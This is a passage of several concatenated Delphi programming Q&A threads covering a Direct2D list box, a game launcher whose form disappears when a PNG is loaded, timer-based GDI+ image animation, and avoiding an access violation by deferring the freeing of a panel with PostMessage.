procedure TItemListBox.WMPaint(var Message: TWMPaint);
var
PaintStruct: TPaintStruct;
res: HRESULT;
begin
BeginPaint(Handle, PaintStruct);
try
if Assigned(FCanvas) then
begin
FCanvas.BeginDraw;
try
Paint;
finally
res := FCanvas.RenderTarget.EndDraw;
if res = D2DERR_RECREATE_TARGET then
CreateDeviceResources;
end;
end;
finally
EndPaint(Handle, PaintStruct);
end;
end;
procedure TItemListBox.WMSetFocus(var Message: TWMSetFocus);
begin
inherited;
Invalidate;
end;
procedure TItemListBox.WMSize(var Message: TWMSize);
var
S: TD2DSizeU;
begin
if Assigned(FCanvas) then
begin
S := D2D1SizeU(ClientWidth, ClientHeight);
ID2D1HwndRenderTarget(FCanvas.RenderTarget).Resize(S);
end;
Invalidate;
inherited;
end;
end.
Example (with a simple TEdit at the top):
But please notice that this is not a finished control; it's merely a very primitive sketch or prototype. It is not fully tested. In addition, a real control would have scrolling support and a keyboard interface. Since it is very late in Sweden right now, I don't really have time to add that at the moment.
Update: I added high-DPI support and a keyboard interface (up, down, home, end, space, delete):
I am using Delphi 7 Pro. I have installed the PNG Component in my project, but whenever I load a PNG image into the Image1 component, the application starts but its main form is invisible. If I load a JPEG or a bitmap file, the form is shown. Here's the code I'm using in my form constructor:
procedure TFMain.FormCreate(Sender: TObject);
var
regn, tmpRegn, x, y: integer;
nullClr: TColor;
Settings: TInifile;
begin
FMain.Brush.Bitmap := Image1.Picture.Bitmap;
nullClr := Image1.Picture.Bitmap.Canvas.Pixels[0, 0];
regn := CreateRectRgn(0, 0, Image1.Picture.Graphic.Width, Image1.Picture.Graphic.Height);
for x := 1 to Image1.Picture.Graphic.Width do
for y := 1 to Image1.Picture.Graphic.Height do
if Image1.Picture.Bitmap.Canvas.Pixels[x - 1, y - 1] = nullClr then
begin
tmpRegn := CreateRectRgn(x - 1, y - 1, x, y);
CombineRgn(regn, regn, tmpRegn, RGN_DIFF);
DeleteObject(tmpRegn);
end;
SetWindowRgn(FMain.Handle, regn, True);
end;
Why is this happening ? What should I change so I can use PNG image in my Image1 ?
The whole code:
unit UnitMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Gauges, Buttons, IniFiles, StdCtrls, OleCtrls, SHDocVw, ExtCtrls,
Wininet, ImgBtn, ComCtrls, ShlObj, ComObj, ActiveX, jpeg;
type
TFMain = class(TForm)
Gauge1: TGauge;
Gauge2: TGauge;
Image1: TImage;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
ImgBtn1: TImgBtn;
ImgBtn2: TImgBtn;
ImgBtn3: TImgBtn;
ImgBtn4: TImgBtn;
Panel1: TPanel;
WebBrowser1: TWebBrowser;
Image2: TImage;
Image3: TImage;
Image4: TImage;
Label4: TLabel;
ImgBtn5: TImgBtn;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure ImgBtn4Click(Sender: TObject);
procedure ImgBtn3Click(Sender: TObject);
procedure ImgBtn2Click(Sender: TObject);
procedure ImgBtn1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ImgBtn5Click(Sender: TObject);
procedure WebBrowser1NavigateComplete2(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant);
procedure Timer1Timer(Sender: TObject);
procedure UpdateRevision(Rev: string);
private
{ Private declarations }
public
Draging: Boolean;
X0, Y0: integer;
end;
var
FMain: TFMain;
USettings : TStrings;
implementation
uses
Frm2, GetFilesThr, Misc;
{$R *.dfm}
procedure TFmain.UpdateRevision(Rev: string);
var
Settings: TInifile;
begin
Settings := TInifile.Create(USettings[0] + '_settings.ini');
Settings.WriteString('main', 'AtRevision', Rev);
Settings.Free;
end;
function LoadSettings(): bool;
var
Settings: TInifile;
begin
Result := False;
USettings := TStringlist.Create;
USettings.Add(GetCurrentDir + '\');
if(FileExists(USettings[0] + '_settings.ini')) then
begin
Settings := TInifile.Create(USettings[0] + '_settings.ini');
USettings.Add(Settings.ReadString('main', 'NewsUrl', ''));
USettings.Add(Settings.ReadString('main', 'UpdatesUrl', ''));
USettings.Add(Settings.ReadString('main', 'LinkName', 'Lineage II'));
USettings.Add(Settings.ReadString('main', 'Installed', '0'));
USettings.Add(Settings.ReadString('main', 'CreateBackup', '0'));
USettings.Add(Settings.ReadString('main', 'AtRevision', '0'));
USettings.Add(Settings.ReadString('main', 'RunCustom', 'system\l2.exe'));
Settings.Free;
Result := True;
end
end;
// ρξηδΰες πλϋκ νΰ ρεα νΰ πΰαξχεμ ρςξλε
procedure CreateDesktopIcon(ilname, WorkDir, desc : string);
var
IObj: IUnknown;
SLink: IShellLink;
PFile: IPersistFile;
desk: string;
lnkpath: WideString;
begin
if(ilname <> '') then
begin
SetLength(desk, MAX_PATH + 1);
SHGetSpecialFolderPath(0, PAnsiChar(desk), CSIDL_DESKTOPDIRECTORY, False);
lnkpath:= PChar(desk) + '\' + ilname + '.lnk';
IObj := CreateComObject(CLSID_ShellLink);
SLink := IObj as IShellLink;
PFile := IObj as IPersistFile;
with SLink do
begin
SetDescription(PChar(desc));
SetPath(PChar(Application.ExeName));
SetWorkingDirectory(PAnsiChar(WorkDir));
end;
PFile.Save(PWChar(WideString(lnkpath)), FALSE);
end;
end;
procedure TFMain.FormCreate(Sender: TObject);
var
regn, tmpRegn, x, y: integer;
nullClr: TColor;
s_load: bool;
Settings: TInifile;
begin
s_load := LoadSettings();
if (s_load) then
begin
if (USettings[4] = '0') then
begin
Settings := TInifile.Create(USettings[0] + '_settings.ini');
Settings.WriteString('main','Installed', '1');
Settings.Free;
CreateDesktopIcon(USettings[3], USettings[0], 'Play Lineage II');
end;
end
else
begin
FMain.Timer1.Enabled := False;
ShowMessage('ERROR: _settings.ini Not Found !');
Application.Terminate; // .close ηδερό νε οπξιδες
end;
// Νΰβξδθμ κπΰρθβξρςό νΰ τξπμσ ...
FMain.brush.bitmap := Image1.picture.bitmap;
nullClr := image1.picture.Bitmap.Canvas.Pixels[0, 0];
regn := CreateRectRgn(0, 0, image1.picture.Graphic.Width, image1.picture.Graphic.Height);
for x := 1 to image1.picture.Graphic.Width do
for y := 1 to image1.picture.Graphic.Height do
if image1.picture.Bitmap.Canvas.Pixels[x - 1, y - 1] = nullClr then
begin
tmpRegn := CreateRectRgn(x - 1, y - 1, x, y);
CombineRgn(regn, regn, tmpRegn, RGN_DIFF);
DeleteObject(tmpRegn);
end;
SetWindowRgn(FMain.handle, regn, true);
end;
procedure TFMain.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
Draging := true;
x0 := x;
y0 := y;
end;
procedure TFMain.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
Draging := false;
end;
procedure TFMain.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if Draging then
begin
FMain.Left := FMain.Left + X - X0;
FMain.top := FMain.top + Y - Y0;
end;
end;
procedure TFMain.ImgBtn4Click(Sender: TObject);
begin
FMain.Close;
end;
procedure TFMain.ImgBtn3Click(Sender: TObject);
begin
FMain.Close;
end;
procedure TFMain.ImgBtn2Click(Sender: TObject);
var
WThread: GFilesThread;
begin
Label3.Caption := '';
WThread := GFilesThread.Create(True);
WThread.FreeOnTerminate := True;
WThread.UpdatesUrl := USettings[2];
WThread.ForceCheck := True;
WThread.CreateBackup := StrToInt(USettings[5]);
WThread.LocalRevision := StrToInt(USettings[6]);
WThread.Resume;
end;
procedure TFMain.ImgBtn1Click(Sender: TObject);
begin
RunApp(USettings[0] + Usettings[7]);
FMain.Close;
end;
procedure TFMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
USettings.Free;
end;
procedure TFMain.ImgBtn5Click(Sender: TObject);
begin
FMain.Enabled := False;
Form1.Show;
end;
procedure TFMain.WebBrowser1NavigateComplete2(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant);
begin
FMain.Panel1.Visible := True;
FMain.Image2.Visible := True;
FMain.Image3.Visible := True;
FMain.Image4.Visible := True;
end;
procedure TFMain.Timer1Timer(Sender: TObject);
var
WThread: GFilesThread;
begin
FMain.Timer1.Enabled := False;
WebBrowser1.Navigate(USettings[1]);
Label3.Caption := '';
WThread := GFilesThread.Create(True);
WThread.FreeOnTerminate := True;
WThread.UpdatesUrl := USettings[2];
WThread.ForceCheck := False;
WThread.CreateBackup := StrToInt(USettings[5]);
WThread.LocalRevision := StrToInt(USettings[6]);
WThread.Resume;
end;
end.
i am trying to achieve a simple task but by using GDI+ and i cannot find any example.
In my code i need to change an image position (top if to be more specific), but i have no idea if i can do it in a better way.
This is how i do it now:
procedure TForm2.Timer1Timer(Sender: TObject);
var
I: Integer;
begin
if image1.Top = -93 then
Begin
for I := -93 to -1 do
Begin
Sleep(10);
image1.Top := Image1.Top + 1;
Application.ProcessMessages;
End;
End else if image1.Top = 0 then
Begin
for I := 0 downto -92 do
Begin
Sleep(10);
image1.Top := Image1.Top - 1;
Application.ProcessMessages;
End;
End;
end;
Well it's pretty simple, but it does not go smooth, but jumps and redraws itself at each step.
I appreciate your help.
UPDATE:
Thanks to TLama and his inspiration i have found this GDIPlus implementation for delphi 2007
Moving control is a wrong way to animate anything, GDI+ independent. Instead, you should remember the position you want to change for the animation, modify it in the OnTimer event and tell the system that you want to invalidate the target control. Then in the control's OnPaint event you should render whatever you want by that position.
So as the first, replace your TImage component by a TPaintBox since the TImage is used mainly for static images, not for a dynamic rendering. Also use two timers. One for upward animation and one for downward animation.
The following code doesn't take into account approximation of a timer, and it uses less known Delphi 2009 GDI+ Library wrapper for Delphi:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, GdiPlus;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
PaintBox1: TPaintBox;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure PaintBox1Paint(Sender: TObject);
private
GPImage: IGPImage;
FImageTop: Integer;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
FImageTop := 0;
Timer1.Interval := 15;
Timer2.Interval := 15;
DoubleBuffered := True;
Timer1.Enabled := True;
Timer2.Enabled := False;
GPImage := TGPImage.Create('d:\Image.jpg');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
// no need for the following line since it's a reference of the interface
// GPImage := nil;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if (FImageTop > -93) then
begin
FImageTop := FImageTop - 1;
PaintBox1.Invalidate;
end
else
begin
Timer1.Enabled := False;
Timer2.Enabled := True;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if (FImageTop < 0) then
begin
FImageTop := FImageTop + 1;
PaintBox1.Invalidate;
end
else
begin
Timer2.Enabled := False;
Timer1.Enabled := True;
end;
end;
procedure TForm1.PaintBox1Paint(Sender: TObject);
var
GPGraphics: IGPGraphics;
begin
GPGraphics := TGPGraphics.Create(PaintBox1.Canvas.Handle);
GPGraphics.DrawImage(GPImage, 0, FImageTop);
end;
end.
I create a Custom Tpanel and inside I put various Custom Components ...
procedure Panel_Comp(Location: TWinControl; NumOfComp: Integer;Left,Top,Height,width:Integer);
begin
MyPanel := TsPanel.Create(Conf);
MyPanel.Name := 'MyPanel' + IntToStr(NumOfComp);
MyPanel.Parent := Location;
MyPanel.Left := Left;
MyPanel.Top := Top;
MyPanel.Height := Height;
MyPanel.Width := width;
MyPanel.Caption := '';
end;
and i call it like this
Panel_Comp(Conf.ScrollBox1,1,8,10,70,322);
in the same logic i put inside the new panel other custom components including a tBitbtn the have a onclick event..
procedure BitBtn_Comp(Location: TWinControl; NumOfComp: Integer; Left,Top,Height,Width,ImageNum: Integer);
begin
MyBitBtn := TBitBtn.Create(Conf);
......
MyBitBtn.tag := NumOfComp;
MyBitBtn.OnClick:= Conf.CloseCurrentPanel;
end;
In the main Forn The TConf.CloseCurrentPanel;
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).tag);
TPanel(panelComp).Free;
Application.ProcessMessages;
end;
When I call that I get access violation...
I think is something that I must free all the components inside the panel before free the panel but how I free the BitBtn before the panel and continue the action of the click event?
Here is the FindComponetEx function instead you need it...
function FindComponentEx(const Name: string): TComponent;
var
FormName: string;
CompName: string;
P: Integer;
Found: Boolean;
Form: TForm;
I: Integer;
begin
// Split up in a valid form and a valid component name
P := Pos('.', Name);
if P = 0 then
begin
raise Exception.Create('No valid form name given');
end;
FormName := Copy(Name, 1, P - 1);
CompName := Copy(Name, P + 1, High(Integer));
Found := False;
// find the form
for I := 0 to Screen.FormCount - 1 do
begin
Form := Screen.Forms[I];
// case insensitive comparing
if AnsiSameText(Form.Name, FormName) then
begin
Found := True;
Break;
end;
end;
if Found then
begin
for I := 0 to Form.ComponentCount - 1 do
begin
Result := Form.Components[I];
if AnsiSameText(Result.Name, CompName) then Exit;
end;
end;
Result := nil;
end;
The AV occurs because you are destroying a component (MyBitBtn) while it is still handling Windows messages. The solution is to postpone the destruction until later via PostMessage, similar to this:
unit Unit1;
interface
uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
ExtCtrls,
StdCtrls;
const
UM_DESTROYPANEL = WM_APP + 623; // some "unique" number; UM = user message
type
TConf = class(TForm)
Panel1: TPanel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
strict private
procedure UMDestroyPanel(var Message: TMessage); message UM_DESTROYPANEL;
public
{ Public-Deklarationen }
end;
var
Conf: TConf;
implementation
{$R *.dfm}
procedure TConf.Button1Click(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, 0, 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
begin
Panel1.Free;
end;
end.
If needed you can use wParam and lParam to pass through parameters like so:
procedure TConf.Button1Click(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, WPARAM(Panel1), 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
begin
TObject(Message.WParam).Free;
end;
EDIT:
In your situation I'd probably rewrite TConf.CloseCurrentPanel like this:
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).Tag);
PostMessage(Handle, UM_DESTROYPANEL, WPARAM(panelComp), 0);
end;
Alternatively you can pass through the Tag (might be the better solution because there's less casting involved):
procedure TConf.CloseCurrentPanel(Sender: TObject);
begin
PostMessage(Handle, UM_DESTROYPANEL, TBitBtn(Sender).Tag, 0);
end;
procedure TConf.UMDestroyPanel(var Message: TMessage);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(Message.WParam));
panelComp.Free;
end;
AFAICT the Application.ProcessMessages isn't needed.
procedure TConf.CloseCurrentPanel(Sender: TObject);
var
panelComp: TComponent;
begin
panelComp := FindComponentEx('Conf.MyPanel'+ IntToStr(TBitBtn(Sender).tag);
//Where you need to determine 'PanelComp' if there are.
if Assigned(panelComp) and (PanelComp is TPanel) then
TPanel(panelComp).Free;
Application.ProcessMessages;
end;